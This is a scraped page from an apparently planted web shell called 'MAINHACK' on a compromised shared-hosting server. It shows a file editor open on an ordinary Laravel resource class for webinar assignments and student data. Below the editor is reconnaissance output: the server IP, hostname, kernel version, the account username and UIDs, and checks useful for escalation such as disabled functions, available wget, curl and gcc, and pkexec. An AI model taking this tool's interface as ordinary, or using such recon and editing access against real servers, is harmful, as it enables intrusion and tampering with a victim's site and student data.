[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: WebinarAssignmentHistoryResource.php
<?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class WebinarAssignmentHistoryResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array */ public $student_details = false; public function toArray($request) { $sale = $this->assignment->getSale($this->student); return [ 'id' => $this->assignment->id, 'title' => $this->assignment->title, 'deadline' => $this->deadlineDays(), $this->mergeWhen($this->student_details, [ 'student' => $this->student->id ]), 'student' => [ 'id' => $this->student->id, 'full_name' => $this->student->full_name, 'email'=>$this->student->email , 'avatar' => $this->student->getAvatar() ? url($this->student->getAvatar()) : null, ], //deadline_time $this->mergeWhen($this->student_id == apiAuth()->id, [ 'deadline_time' => ($this->student_id == apiAuth()->id) ? $this->assignment->deadlineTime : null ]), 'can' => [ 'send_message' => $this->canSendMessage() ], 'can_view_error' => $this->assignment->canViewError(), 'description' => $this->assignment->description, 'webinar_title' => $this->assignment->webinar->title, 'webinar_image' => url($this->assignment->webinar->getImage()), 'first_submission' => $this->first_submission ?? null, 'last_submission' => $this->last_submission ?? null, 'attempts' => $this->assignment->attempts ?? null, 'used_attempts_count' => $this->used_attempts_count ?? 0, 'grade' => $this->grade ?? null, 'total_grade' => $this->assignment->grade, 'pass_grade' => $this->assignment->pass_grade ?? null, 'purchase_date' => $sale ? $sale->created_at : null, 'user_status' => $this->status, 'attachments' => $this->assignment->attachments->map(function ($item) { return [ 'url' => $item->attach ? url($item->attach) : null, 'title' => $item->title, 'size' => $item->getFileSize(), ]; }) ]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285